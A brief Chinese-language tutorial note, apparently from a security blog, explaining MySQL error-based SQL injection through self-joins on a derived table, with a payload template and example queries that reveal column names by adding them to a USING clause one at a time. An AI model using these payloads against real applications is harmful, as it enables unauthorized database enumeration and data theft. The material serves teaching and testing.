MYSQL 通过Join报错注入

函数解释

约束条件

在知到表名的前提下才能操作

注入语句

and（select * from (select * from 表名 a join 表名 b using(已知的字段1，已知的字段2,……)c)）

举例

select * from (select * from users a join users b )c;

select * from (select * from users a join users b using(id))c;

select * from (select * from users a join users b using(id,name))c;

select * from (select * from users a join users b using(id,name,password))c;

返回主页